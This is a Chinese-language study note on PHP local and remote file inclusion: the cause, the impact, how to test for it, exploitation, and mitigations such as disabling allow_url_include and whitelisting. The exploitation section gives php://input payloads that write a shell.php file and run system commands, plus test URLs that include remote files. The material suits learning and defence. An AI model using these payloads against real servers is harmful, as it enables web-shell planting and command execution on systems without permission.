參考文章
本片文章僅供學習使用,切勿觸犯法律!
概述
總結
一、漏洞介紹
在通過PHP的函數引入文件時,由於傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,導致意外的文件泄露甚至惡意的代碼注入。
二、漏洞原理
大多數情況下,文件包含函數中包含的代碼文件是固定的,因此也不會出現安全問題。 但是,有些時候,文件包含的代碼文件被寫成了一個變量,且這個變量可以由前端用戶傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發文件包含漏洞。 攻擊着會指定一個“意想不到”的文件讓包含函數去執行,從而造成惡意操作。
PHP常見的導致文件包含的函數如下:include(),include_once(),require(),require_once(),fopen(),readfile()
當使用前4個函數包含一個新的文件時,只要文件內容符合PHP語法規范,那么任何擴展名都可以被PHP解析。包含非PHP語法規范源文件時,將會暴露其源代碼。
函數 | 包含失敗 | 特點 |
---|---|---|
Inlcude | 返回一條警告 | 文件繼續向下執行。通常用於動態包含 |
Require | 一個致命的錯 | 代碼就不會繼續向下執行。通常包含極為重要的文件,整個代碼甭想執行 |
Include_once | 返回一條警告 | 除了原有include的功能以外,它還會做once檢測,如果文件曾經已經被被包含過,不再包含 |
Require_once | 一個致命的錯 | 除了原功能以外,會做一次once檢測,防止文件反復被包含 |
三、漏洞危害
- 敏感信息泄露
- 拒絕服務攻擊
- 執行惡意代碼
- 配合文件上傳,擴大危害
一般來說,遠程文件包含漏洞危害更大。
四、利用前提
- Web應采用include()等文件包含函數通過動態變量的方式引入需要包含的文件.
- 用戶能夠控制該動態變量
五、挖掘利用
1、本地文件包含漏洞
1.描述
僅能夠對服務器本地的文件進行包含,由於服務器上的文件並不是攻擊者所能夠控制的,因此該情況下,攻擊着更多的會包含一些 固定的系統配置文件,從而讀取系統敏感信息。很多時候本地文件包含漏洞會結合一些特殊的文件上傳漏洞,從而形成更大的威力。
2.挖掘
抓包觀察有無明顯的參數用於打開或使用文件,在漏洞挖掘過程中,注意下即可。如果遇到疑似文件包含,可以使用以下的測試方法。(因為不知道對參數有何處理,所以,該方法並不准確)
a.php是fileinclude.php的同一目錄的文件
http://www.aaa.com/fileinclude.php?file=file://a.php
打開目標網站,一般不會被過濾掉
http://www.aaa.com/fileinclude.php?file=http://www.aaa.com
3.利用
利用php偽協議讀取敏感文件,詳情請見[[008.win-敏感文件]]、[[lin-敏感文件]]、[[019.支持的協議和封裝協議]]
常見的如:
file://
http://
php://
等等
2、遠程文件包含漏洞
1.描述
能夠通過url地址對遠程的文件進行包含,這意味着攻擊者可以傳入任意的代碼,比本地文件包含漏洞更加嚴重
利用遠程文件包含漏洞需要使allow_url_include為on
2.挖掘
挖掘過程同上,另外,還需要測試能否包含遠程文件,故:
http://www.aaa.com/fileinclude.php?file=https://www.baidu.com
用樣的,因為不知道對參數的過濾方式,因此該方法不一定成功。
3.利用
- 讀取敏感文件
- 詳情請見[[008.win-敏感文件]] [[lin-敏感文件]]
- 遠程包含shell
- 插入一句話等,詳情請見
- 配合文件上傳
- 詳情請見[[文件上傳漏洞]]
這里舉出幾個常用的例子:
增加代碼
在file.php所在文件下的文件shell.php內增加<?php phpinfo();?>
URL:
http://localhost/include/file.php?file=php://input 怎么用??
POST:
<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>
增加文件
通過fopen參數為w,可新建一個文件,並在新建的文件shell.php中寫入<?php phpinfo();?>
URL:
http://localhost/include/file.php?file=php://input
POST:
<?php fputs(fopen("shell.php","w"),"<?php phpinfo();?>") ?>
執行命令
通過php的系統執行函數,將執行命令寫入到文件中,並且執行系統命令
URL:
http://localhost/include/file.php?file=php://input
POST:
<?php system('ipconfig');?>
六、修復防范
- PHP:配置php.ini關閉遠程文件包含功能(allow_url_include = Off)
- 嚴格檢查變量是否已經初始化。
- 建議假定所有輸入都是可疑的,嘗試對所有輸入提交可能可能包含的文件地址,包括服務器本地文件及遠程文件,進行嚴格的檢查,參數中不允許出現../之類的目錄跳轉符。
- 嚴格檢查include類的文件包含函數中的參數是否外界可控。
- 不要僅僅在客戶端做數據的驗證與過濾,關鍵的過濾步驟在服務端進行。
- 在發布應用程序之前測試所有已知的威脅。
- 路徑限制:限制被包含的文件只能在某一文件夾內,一定要禁止目錄跳轉字符,如:“../”;
- 包含文件驗證:驗證被包含的文件是否是白名單中的一員;
- 盡量不要使用動態包含,可以在需要包含的頁面固定寫好,如:include("head.php");,不要把被包含的寫成變量。
七、提出問題
在文件包含漏洞利用還是不太清楚。